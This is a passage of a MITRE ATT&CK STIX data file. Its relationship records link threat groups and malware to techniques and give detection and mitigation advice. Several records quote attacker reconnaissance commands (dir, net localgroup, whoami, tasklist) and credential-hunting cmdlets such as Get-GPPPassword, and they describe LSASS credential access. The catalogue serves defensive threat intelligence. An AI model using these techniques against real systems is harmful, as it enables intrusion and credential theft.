"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2020-03-19T22:25:13.979Z", "description": "[Cachedump](https://attack.mitre.org/software/S0119) can extract cached password hashes from cache entry information.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5c6dfc28-fa7c-4941-a144-890a428f9951", "created": "2022-08-11T22:34:41.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). 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Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T20:00:16.174Z", "description": "[DCSrv](https://attack.mitre.org/software/S1033) can compare the current time on an infected host with a configuration value to determine when to start the encryption process.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c6ec6a7-6f15-4704-a16b-4bfd793a271e", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c736aad-9847-4059-9d1e-dc2f551952d0", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2020-03-17T16:30:48.445Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can interact with a victim\u2019s Outlook session and look through folders and emails.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c738353-868a-4e4d-8628-e1d14e502980", "type": "relationship", "created": "2019-10-07T19:05:49.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 BabyShark Feb 2019", "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "description": "Unit 42. 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Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:08:53.458Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has obfuscated a script with Crypto Obfuscator.(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c7716d2-cf4b-43cd-a544-0c94ebf69e23", "type": "relationship", "created": "2021-09-29T22:24:15.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.706Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has prepended a space to all of their terminal commands to operate without leaving traces in the HISTCONTROL environment.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c7bb53e-d396-4b7e-a925-4a928acc0762", "type": "relationship", "created": "2020-11-09T14:52:45.773Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-09T14:52:45.773Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has come signed with revoked certificates.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e", "type": "relationship", "created": "2017-05-31T21:33:27.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2019-09-04T19:48:17.575Z", "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about files and directories: <code>dir c:\\ >> %temp%\\download</code> <code>dir \"c:\\Documents and Settings\" >> %temp%\\download</code> <code>dir \"c:\\Program Files\\\" >> %temp%\\download</code> <code>dir d:\\ >> %temp%\\download</code>(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Operation Groundbait", "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}], "modified": "2020-03-20T00:00:56.860Z", "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects passwords stored in applications installed on the victim.(Citation: ESET Operation Groundbait)", "relationship_type": "uses", "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.459Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a directory listing for a specified directory.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c859db1-13ba-4bf8-a8d3-7fd99e061c45", "type": "relationship", "created": "2020-05-22T20:27:31.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015"}], "modified": "2020-05-22T20:27:31.553Z", "description": "[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to steal data from the clipboard.(Citation: Symantec Chafer Dec 2015)", "relationship_type": "uses", "source_ref": "malware--a705b085-1eae-455e-8f4d-842483d814eb", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c8cea6d-46d9-4a66-a23e-047dd02f756b", "type": "relationship", "created": "2020-02-20T15:31:43.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-EU DDoS March 2017", "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019."}], "modified": "2022-03-25T19:42:13.073Z", "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5c8e77a8-03f4-4581-a893-a07016bc155f", "created": "2022-06-15T14:55:03.199Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has run `net localgroup` to enumerate local groups.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-08-31T14:50:40.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912", "type": "relationship", "created": "2017-05-31T21:33:27.033Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant Operation Ke3chang November 2014", "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}, {"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T15:05:00.667Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) uses command-line interaction to search files and directories.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5c92055a-8396-4e60-9e1f-c95a028b902b", "created": "2021-11-16T15:32:34.255Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MSTIC FoggyWeb September 2021", "url": "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", "description": "Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) has the ability to communicate with C2 servers over HTTP GET/POST requests.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-09T18:53:39.830Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c93f0f0-7e90-4c30-bcd8-850077a8a2f1", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitoring the creation of (sub)keys within the Windows Registry may reveal malicious root certificate installation. Installed root certificates are located in the Registry under\u00a0<code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code>\u00a0and\u00a0</code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:\u00a0(Citation: Tripwire AppUNBlocker)\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c958009-dae2-44b3-840f-42985b0593c9", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5c96f40f-8cbc-4561-9a1f-ce9dad5808d5", "created": "2023-07-31T18:11:24.566Z", "revoked": false, "external_references": [{"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-31T18:11:24.566Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has attempted to access hashed credentials from the LSASS process memory space.(Citation: Microsoft Volt Typhoon May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5c98e0bb-7451-4c61-a798-4306b89b1e61", "created": "2023-08-08T13:25:35.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.653Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used PowerShell cmdlets `Get-GPPPassword` and `Find-GPOPassword` to find unsecured credentials in a compromised network group policy.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c9bea96-819a-4a39-9814-62f3473530a4", "type": "relationship", "created": "2019-10-11T04:02:42.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}], "modified": "2021-02-09T14:06:12.832Z", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses <code>-windowstyle hidden</code> to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload.(Citation: FireEye APT34 Dec 2017)", "relationship_type": "uses", "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5c9c3368-ff0e-4f3a-ae9f-5b78785984b9", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor for newly constructed processes and/or command-lines that execute during the boot up process to check for unusual or unknown applications and behavior", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ca05cbf-6a28-4a6a-9d6c-e2b8331b2965", "type": "relationship", "created": "2020-07-27T15:21:26.243Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Promethium June 2020", "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html", "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."}], "modified": "2020-07-27T15:48:13.276Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can add directories used by the malware to the Windows Defender exclusions list to prevent detection.(Citation: Talos Promethium June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5ca1f5dc-9573-46bb-a9db-fb83cd15b272", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}, {"source_name": "MSTIC NOBELIUM May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."}], "modified": "2021-07-30T19:31:46.570Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple software exploits for common client software, like Microsoft Word, Exchange, and Adobe Reader, to gain code execution.(Citation: F-Secure The Dukes)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC NOBELIUM May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5cab522f-3469-4f57-97c5-f333c63691c0", "created": "2023-01-17T22:03:21.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Costa AvosLocker May 2022", "description": "Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.", "url": "https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T16:59:10.308Z", "description": "During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors collected `whoami` information via PowerShell scripts.(Citation: Costa AvosLocker May 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5cabd775-7d78-4150-b529-bb8cfb747013", "type": "relationship", "created": "2020-05-07T03:04:14.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.587Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has disguised its scheduled tasks as those used by Google.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5caffa87-adbb-45e8-ba6b-dc61188471a7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", "source_name": "ASERT Donot March 2018"}], "modified": "2019-04-25T00:09:23.236Z", "description": "[yty](https://attack.mitre.org/software/S0248) gets an output of running processes using the <code>tasklist</code> command.(Citation: ASERT Donot March 2018)", "relationship_type": "uses", "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 